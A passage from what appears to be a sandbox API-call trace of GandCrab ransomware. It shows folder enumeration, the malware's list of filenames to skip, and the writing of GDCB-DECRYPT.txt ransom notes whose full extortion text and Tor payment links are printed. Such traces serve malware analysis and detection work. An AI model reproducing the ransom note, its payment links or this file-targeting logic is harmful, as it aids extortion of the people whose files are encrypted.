(lpString1="desktop.ini", lpString2=".") returned 1 [0054.950] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" [0054.950] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned 108 [0054.950] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.950] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.950] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.950] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.951] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\\\GDCB-DECRYPT.txt") returned 114 [0054.951] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.951] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.951] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.952] CloseHandle (hObject=0x504) returned 1 [0054.953] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.953] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned 97 [0054.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*" [0054.953] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8670 [0054.953] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.953] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.953] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.953] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.953] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.953] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.953] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" [0054.953] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.953] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned 108 [0054.953] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned 108 [0054.953] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned 108 [0054.953] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned 108 [0054.953] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.953] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.953] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.953] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.953] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\GDCB-DECRYPT.txt" [0054.953] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.954] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\GDCB-DECRYPT.txt") returned 113 [0054.954] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\GDCB-DECRYPT.txt") returned 113 [0054.954] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\GDCB-DECRYPT.txt") returned 113 [0054.954] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\GDCB-DECRYPT.txt") returned 113 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.954] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.954] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.954] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.954] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.954] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.954] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.954] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" [0054.955] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.955] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned 87 [0054.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned 87 [0054.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned 87 [0054.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned 87 [0054.955] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.955] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.955] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.955] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.955] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GDCB-DECRYPT.txt" [0054.955] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.955] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GDCB-DECRYPT.txt") returned 92 [0054.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GDCB-DECRYPT.txt") returned 92 [0054.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GDCB-DECRYPT.txt") returned 92 [0054.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GDCB-DECRYPT.txt") returned 92 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.955] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.955] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.955] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.955] lstrcmpW (lpString1="Maintenance", lpString2=".") returned 1 [0054.956] lstrcmpW (lpString1="Maintenance", lpString2="..") returned 1 [0054.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Maintenance" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0054.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\" [0054.956] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.956] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.956] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.956] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.956] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.956] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.956] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\") returned 88 [0054.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*" [0054.956] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8670 [0054.956] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.956] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.956] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.956] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.956] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.956] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.956] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" [0054.956] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned 99 [0054.956] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.956] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.956] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.956] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.957] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\\\GDCB-DECRYPT.txt") returned 105 [0054.957] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.957] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.957] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.958] CloseHandle (hObject=0x504) returned 1 [0054.958] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.959] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\") returned 88 [0054.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*" [0054.959] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8870 [0054.959] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.959] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.959] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.959] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.959] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.959] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.959] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" [0054.959] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.959] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned 99 [0054.959] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned 99 [0054.959] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned 99 [0054.959] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini") returned 99 [0054.959] lstrcmpiW (lpString1="Desktop.ini", lpString2="desktop.ini") returned 0 [0054.959] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.959] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.959] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.959] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\GDCB-DECRYPT.txt" [0054.959] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.960] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\GDCB-DECRYPT.txt") returned 104 [0054.960] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\GDCB-DECRYPT.txt") returned 104 [0054.960] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\GDCB-DECRYPT.txt") returned 104 [0054.960] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\GDCB-DECRYPT.txt") returned 104 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.960] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.960] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.960] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.960] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.960] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0054.960] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0054.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="OneDrive.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" [0054.961] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.961] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk") returned 88 [0054.961] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk") returned 88 [0054.961] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.961] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.961] 